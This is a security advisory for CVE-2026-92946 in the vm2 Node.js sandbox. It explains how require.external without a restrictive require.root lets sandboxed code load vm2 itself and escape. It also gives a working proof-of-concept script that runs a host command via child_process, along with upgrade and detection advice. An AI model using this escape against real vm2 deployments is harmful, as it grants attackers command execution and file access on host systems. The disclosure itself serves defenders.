CVE-2026-92946: vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE

Two defaults combine. In lib/resolver-compat.js, require.root is unrestricted when omitted (isPathAllowed returns true), and require.context defaults to 'host', so files load through the real Node.js require() rather than inside a sandbox. With a bare external: true, the resolver has no module-name allowlist at all.

Sandboxed code can therefore require a relative or absolute path to the installed node_modules/vm2, get the real NodeVM class, construct a new unrestricted instance with child_process allowed, and run commands. The proof of concept does this and prints the real host username.

The README's quick example sets root: './'. That reads like a restriction, but in an ordinary npm layout ./node_modules/vm2 sits inside the same tree, so it excludes nothing. An app built from the quick-start is exposed.

The attacker only needs to supply code that runs in the sandbox, such as a plugin, script or user-submitted snippet. The result is command execution with the host process's privileges, file read and write, and the loss of every restriction set on the outer NodeVM. This path is separate from the nesting and require.root symlink advisories, so an app that handled both is still open.

npm package vm2 up to and including 3.11.6, in apps that create a NodeVM with require.external enabled and require.root either missing or covering node_modules. VM instances and NodeVM setups without require.external are not in this scenario.

npm ls vm2

Search your code for external: true and for root: values in NodeVM options.

Upgrade to vm2 3.11.7 or later.

npm install [email protected]

According to the release notes, 3.11.7 closes the nested vm2 access from require.external and makes allowlist matching strict. It also warns once when require.external is used without require.root. The notes say require.root still host-requires any named path, and that a deny-by-default change is deferred to the next major. So also set require.root to a directory that excludes node_modules, or use context: 'sandbox', or both. Another vm2 sandbox escape, covered under CVE-2026-92934, is fixed in 3.11.8, so 3.11.8 or later is the better target.

Search code for new NodeVM( with external: true and no root, or root: './'. At runtime, look for sandboxed scripts that require a path ending in node_modules/vm2, and for Node processes that spawn unexpected child processes like whoami. After upgrading, the one-time warning about require.external without require.root points at configs that need review.

Summary

NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes `node_modules`, two defaults combine to fully defeat the sandbox:

• require.root defaults to unrestricted — "if omitted every path is allowed."
• require.context defaults to `"host"` — files loaded this way run through the real Node.js `require()`, not inside any vm2 sandbox.

Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.

This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:

const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});

root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.

Affected Versions

All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

Details / Root Cause

lib/resolver-compat.js:

const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}

and CustomResolver.isPathAllowed:

isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}

and CustomResolver.loadJS:

loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}

CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js require().

This is a distinct code path from the two already-fixed advisories that produce a similar end state:

• Category 24 / GHSA-cp6g-6699-wx9c (require.root symlink bypass) *assumes* root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the *only* history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.
• Category 25 / GHSA-8hg8-63c5-gwmx (nesting: true bypass) closes a *different* delivery mechanism entirely — the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."

Proof of Concept

See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.

const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"

Actual output on the test machine:

{ whoami: 'Abisheik M', platform: 'win32' }

Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.

Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:

• Execute arbitrary OS commands via child_process (full RCE).
• Read/write arbitrary files via fs (once inside the re-instantiated unrestricted NodeVM).
• Fully defeat every other sandbox restriction the embedder configured on the *outer* NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

Suggested Fix

Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.

In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the *same* checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.

Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).